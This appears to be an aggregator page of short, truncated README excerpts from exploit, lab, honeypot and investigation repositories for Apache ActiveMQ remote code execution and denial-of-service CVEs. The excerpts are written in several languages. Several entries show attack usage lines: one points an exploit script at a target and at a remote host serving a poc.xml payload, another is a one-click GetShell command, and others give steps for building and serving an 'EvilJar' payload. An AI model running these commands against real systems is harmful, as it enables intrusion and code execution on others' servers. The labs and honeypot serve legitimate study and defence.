CVE-2026-34197

CVE-2026-34197 - Apache ActiveMQ RCE via Jolokia 1. Resumen...

CVE-2023-46604-RCE

CVE-2023-46604-RCE Vulnerability A deserialization vulnerability in the OpenWire transport unmarshaller in Apache ActiveMQ. Affected versions include 5.18.0 through to 5.18.2, 5.17.0 through to 5.17.5, 5.16.0 through to 5.16.6, and all versions before 5.15.16. Setup Change the Values inside the...

CVE-2026-42588

CVE-2026-42588 - Explotación de Vulnerabilidad de Ejecución Remota de Código en Apache ActiveMQ Jolokia Nivel de Gravedad : 🔴 Alto CVSS 4.0: 8.1 Tipo de Vulnerabilidad : CWE-94 — Inyección de Código Versiones Afectadas : Apache ActiveMQ Requisito de Explotación : Se necesitan credenciales de...

Exploitation-de-la-vuln-rabilit-CVE-2015-5254-

Exploitation of CVE-2015-5254 Vulnerability CVE-2015-5254 is a security vulnerability in Apache ActiveMQ, a widely used open source message broker for inter-application communication. This vulnerability affects ActiveMQ versions up to 5.13.0 and stems from the lack of filtering on incoming JMS...

honeypot.rs

honeypot.rs Honeypot that scopes CVE-2023-46604 Apache ActiveMQ RCE Vulnerability and focused on getting Indicators of Compromise. This honeypot can be used in any Threat Intelligence infrastructure to get attacker's IP adresses, Post-Exploitation samples and malware samples. This information can...

CVE-2022-39197

CVE-2022-39197 RCE POC Usage Prepare Payload 1. Edit Line 19 with your payload in EvilJar/src/main/java/Exploit.java 2. Build using jar mvn clean compile assembly:single 3. Move EvilJar-1.0-jar-with-dependencies.jar from EvilJar/target/ to serve/ folder 4. Edit serve\evil.svg replace attacker 5...

CVE-2023-46604

CVE-2023-46604 Este repositorio contiene un script de explotación y un archivo XML de Prueba de Concepto PoC para la vulnerabilidad CVE-2023-46604 que afecta a Apache ActiveMQ. La vulnerabilidad permite la ejecución remota de código debido a prácticas inseguras de deserialización en el protocolo...

CVE-2016-3088

CVE-2016-3088 - Ejecución Remota de Código en Apache ActiveMQ...

CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ

CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ Este exploit se basa en el trabajo fundacional disponible en https://github.com/X1cT34m https://github.com/X1r0z/ActiveMQ-RCE. Hemos desarrollado más a fondo la técnica para lograr una reverse shell utilizando Metasploit Framework...

apache-activemq-rce-research

Apache ActiveMQ Classic — RCE Research Private research archive for the Apache ActiveMQ Classic Jolokia → addNetworkConnector → xbean/Spring-XML remote-code-execution chain CVE-2026-34197 and its patch-bypass CVE-2026-42588, plus a full auto-research audit of the fixed 6.2.6 release and a...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

Project Reference This project is a python version of the exp rewritten based on the exp from the https://github.com/X1r0z/ActiveMQ-RCE project. Usage root@kitploit: python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 The -p parameter defaults to the default port ...

CVE-2024-21683-RCE

CVE-2024-21683-RCE Credit https://x.com/realalphaman https://realalphaman.substack.com/p/quick-note-about-cve-2024-21683-authenticated Usage root@kitploit: git clone https://github.com/W01fh4cker/CVE-2024-21683-RCE cd CVE-2024-21683-RCE pip install requests bs4 python CVE-2024-21683.py -u...

CVE-2016-3088

CVE-2016-3088 استغلال تنفيذ التعليمات البرمجية عن بُعد في Apache ActiveMQ الوصف تطبيق الويب Fileserver في Apache ActiveMQ 5.x قبل الإصدار 5.14.0 يسمح للمهاجمين عن بُعد بتحميل وتنفيذ ملفات عشوائية عبر طلب HTTP PUT متبوعًا بطلب HTTP MOVE. المؤلف Alexandre Aguiar @cyberaguiar تحليل الاستغلال تحليل...

CVE-2025-27533-Exploit-for-Apache-ActiveMQ

CVE-2025-27533-Exploit-para-Apache-ActiveMQ PoC exploit para CVE-2025-27533 , una vulnerabilidad de Denegación de Servicio DoS en Apache ActiveMQ. Esta herramienta envía paquetes OpenWire maliciosos para agotar la memoria heap de la JVM del servidor objetivo, y potencialmente provocar la caída de...

CVE-2016-3088

Apache ActiveMQ PUT RCE One-Click GetShell usage:python3 CVE-2016-3088.py -u https://tartget.com/...

CVE-Lab

CVE-2023-46604 Lab This lab guides on exploiting vulnerabilities of CVE-2023-46604 Acknowledgements Apache ActiveMQ CVE-2023-46604 Environment This lab requires the installation of 2 virtual machines. One Kali Linux machine version 2023.4 and one Ubuntu machine version 22.04.3 LTS. You can downlo...

ActiveMQ_CVE-2015-5254

ActiveMQ Deserialization CVE-2015-5254 Vulnerability Description: Security vulnerabilities exist in Apache ActiveMQ versions before 5.13.0. The issue stems from the program not restricting the classes that can be serialized in the broker. Remote attackers can exploit this by sending a specially...

CVE-2023-46604-ActiveMQ-RCE-pseudoshell

CVE-2023-46604 RCE स्यूडोशेल यह स्क्रिप्ट CVE-2023046604 Apache ActiveMQ का उपयोग करके एक स्यूडो शेल उत्पन्न करता है। यह कमजोरी OpenWire प्रोटोकॉल में असुरक्षित डिसीरियलाइज़ेशन के कारण रिमोट कोड निष्पादन की अनुमति देती है। विवरण CVE-2023-46604 एक डिसीरियलाइज़ेशन कमजोरी है जो Apache ActiveMQ के...

OpenWire-CVE-2023-46604-Investigation

Investigación de OpenWire-CVE-2023-46604 Laboratorio OpenWire Durante mi turno como Analista de Centro de Operaciones de Seguridad SOC de Nivel 2, recibí una escalación de un analista de Nivel 1 sobre un servidor de acceso público que había sido observado comunicándose con múltiples direcciones I...

CVE-2026-34197-Lab

CVE-2026-34197 — Apache ActiveMQ Classic Jolokia RCE Lab Overview This repository is a local Docker lab for studying CVE-2026-34197 , an Apache ActiveMQ Classic remote code execution issue reachable through the Jolokia JMX-HTTP API. The lab compares two ActiveMQ Classic instances side by side:...